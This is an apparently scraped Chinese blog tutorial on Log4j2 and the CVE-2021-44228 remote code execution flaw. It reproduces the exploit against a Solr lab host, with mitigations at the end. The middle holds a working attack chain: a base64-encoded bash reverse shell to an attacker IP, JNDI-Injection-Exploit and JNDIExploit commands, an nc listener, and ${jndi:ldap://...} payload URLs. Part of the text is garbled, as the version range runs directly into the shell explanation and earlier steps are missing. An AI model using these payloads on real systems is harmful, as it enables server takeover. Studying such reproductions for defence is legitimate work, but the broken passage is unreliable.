log4j2原理分析及漏洞复现

您所在的位置:网站首页 Apache 日志漏洞 log4j2原理分析及漏洞复现

log4j2原理分析及漏洞复现

2024-07-05 08:59| 来源: 网络整理| 查看: 265

log4j2原理分析及漏洞复现0x01 log4j2简介

Log4j2 是一个用于 Java 应用程序的成熟且功能强大的日志记录框架。它是 Log4j 的升级版本,相比于 Log4j,Log4j2 在性能、可靠性和灵活性方面都有显著的改进。

Log4j2 特点

高性能:Log4j2 使用异步日志记录机制,可以提供比传统同步日志记录更高的吞吐量和更低的延迟,因此在高负载情况下仍然能够保持出色的性能。

灵活的配置:Log4j2 的配置文件使用 XML、JSON 或 YAML 格式,允许将日志的格式、目标以及日志级别等属性进行灵活的配置和定制。

多种输出目标:Log4j2 支持多种日志输出目标,包括控制台、文件、数据库、远程套接字、JMS 和 Apache Flume 等。你可以根据需求配置日志输出到不同的目标。

强大的过滤器和路由:Log4j2 支持过滤器功能,可以根据日志的级别、源、线程等条件进行过滤,在满足条件时决定是否记录日志。此外,还可以基于日志的特定属性进行路由,将不同的日志记录到不同的目标。

按需加载插件:Log4j2 使用插件架构,允许按需加载各种附加组件和扩展功能,如自定义输出目标、格式器、过滤器等。这使得 Log4j2 的功能可以根据需要进行扩展和定制。

上下文容器:Log4j2 提供了 ThreadContext 和 ContextMap 等上下文容器,用于在多线程环境中跟踪和管理日志记录。这对于识别和调试特定线程的日志非常有用。

总体而言,Log4j2 是一个功能强大且灵活的日志记录框架,旨在提供高性能的日志记录解决方案。它被广泛用于各种 Java 应用程序和框架中,帮助开发人员更好地管理和分析应用程序的日志信息。

Log4j2组件的应用

以下是一些使用 Log4j2 组件的中间件和应用程序的常见示例:

Apache Tomcat - Java Web 服务器

Apache Kafka - 分布式流处理平台

Apache ActiveMQ - 开源消息队列系统

Elasticsearch - 分布式搜索和分析引擎

Spring Framework - Java 开发框架

Hibernate ORM - 对象关系映射框架

Apache Camel - 企业集成模式框架

Apache Solr - 开源搜索平台

Apache Druid - 实时分析数据库

Apache NiFi - 数据流处理系统

Apache Flink - 分布式流处理框架

Apache Hadoop - 分布式计算框架

Apache Spark - 分布式大数据处理框架

Apache Storm - 实时流处理框架

Alfresco - 开源企业内容管理系统

Atlassian JIRA - 项目管理和缺陷追踪工具

Jenkins - 持续集成和交付平台

SonarQube - 代码质量管理平台

Liferay - 企业门户和内容管理系统

Graylog - 日志管理和分析平台

0x02 CVE-2021-44228漏洞简介:

Apache Log4j2是一个基于Java的日志记录工具,当前被广泛应用于业务系统开发,开发者可以利用该工具将程序的输入输出信息进行日志记录。

2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。该漏洞是由于Apache Log4j2某些功能存在递归解析功能,导致攻击者可直接构造恶意请求,触发远程代码执行漏洞,从而获得目标服务器权限。

在java中最常用的日志框架是log4j2和logback,其中log4j2支持lookup功能(查找搜索),这也是一个非常强大的功能,设计之初的目的也是为了方便开发者调用

例如当开发者想在日志中打印今天的日期,则只需要输出${data:MM-dd-yyyy},此时log4j会将${}中包裹的内容单独处理,将它识别为日期查找,然后将该表达式替换为今天的日期内容输出为“08-22-2022”,这样做就不需要开发者自己去编写查找日期的代码。

表达式除了支持日期,还支持输出系统环境变量等功能,这样极大的方便了开发者。但是安全问题往往就是因为“图方便”引起的,毕竟设计者也是需要在安全性和用户体验之间做个平衡。

其实打印日期,打印系统变量这种对系统而言构不成什么威胁,最终要的原因是log4j还支持JNDI协议。

漏洞适用版本

2.0 &1

bash: 启动一个 Bash shell。

-i: 打开一个交互式 shell 会话,允许用户输入命令和获取输出。

>& /dev/tcp/192.168.100.143/8888: 将标准输出和标准错误输出重定向到指定的 IP 地址为192.168.100.143、端口号为 `8888 ’ TCP 连接。换句话说,它将尝试建立一个与该 IP 地址和端口号连接的网络套接字,并将输出发送到该连接。

0>&1: 将标准输入(文件描述符 0)重定向到标准输出(文件描述符 1),意味着输入和输出都将通过网络套接字进行传输。

base64编码:

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xNDMvODg4OCAwPiYx 4.使用JNDIExploit进行漏洞利用

将上面base64编码后的bash命令填入指定位置

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,Base64编码后的Payload} | {base64,-d} | {bash,-i}" -A "攻击机IP" java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xNDMvODg4OCAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.100.143"

image-20230908111110779

5.在攻击机中开启监听nc -lvvp 8888 6.使用payload的进行攻击http://192.168.100.134:8983/solr/admin/cores?action=${jndi:ldap://192.168.100.143:1389/isimox} //将工具生成的JNDI链接服务放到url里面进行执行 7.查看回显

image-20230908111049235

反弹shell成功;

新版本工具使用:

其他基本操作,通过DNSlog判断回显同以上一致

可查看帮助:

java -jar JNDIExploit-1.4-SNAPSHOT.jar -h

image-20230917110816580

首先开启LDAP和HTTP服务:

java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.100.1 //攻击者IP //可通过加参数来修改LDAP和HTTP服务的端口,具体参考--help帮助

image-20230917110926776

java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.100.1 -u //查看用法

image-20230917111624682

选择上面的任意一个ldap服务: 比如: ldap://192.168.100.1:1389/Basic/ReverseShell/[ip]/[port] 构造: ldap://192.168.100.1:1389/Basic/ReverseShell/192.168.100.1/8888 //攻击ip和监听端口

本地开启监听:

image-20230917111922418

将构造的内容填入到${jndi:}当中,执行url

image-20230917112015959

点击执行后,开启的LDAP和HTTP服务的监听端会返回信息:

image-20230917112132529

再看本地监听的端口返回:

成功反弹shell

image-20230917112254775

0x05漏洞修复

更新log4j至 rc2

配置防火墙策略,禁止主动连接外网设备

升级受影响的应用及组件

过滤相关的关键词,比如${jndi://*}

限制JNDI默认可以使用的协议

限制可以通过LDAP访问的服务器和类



【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3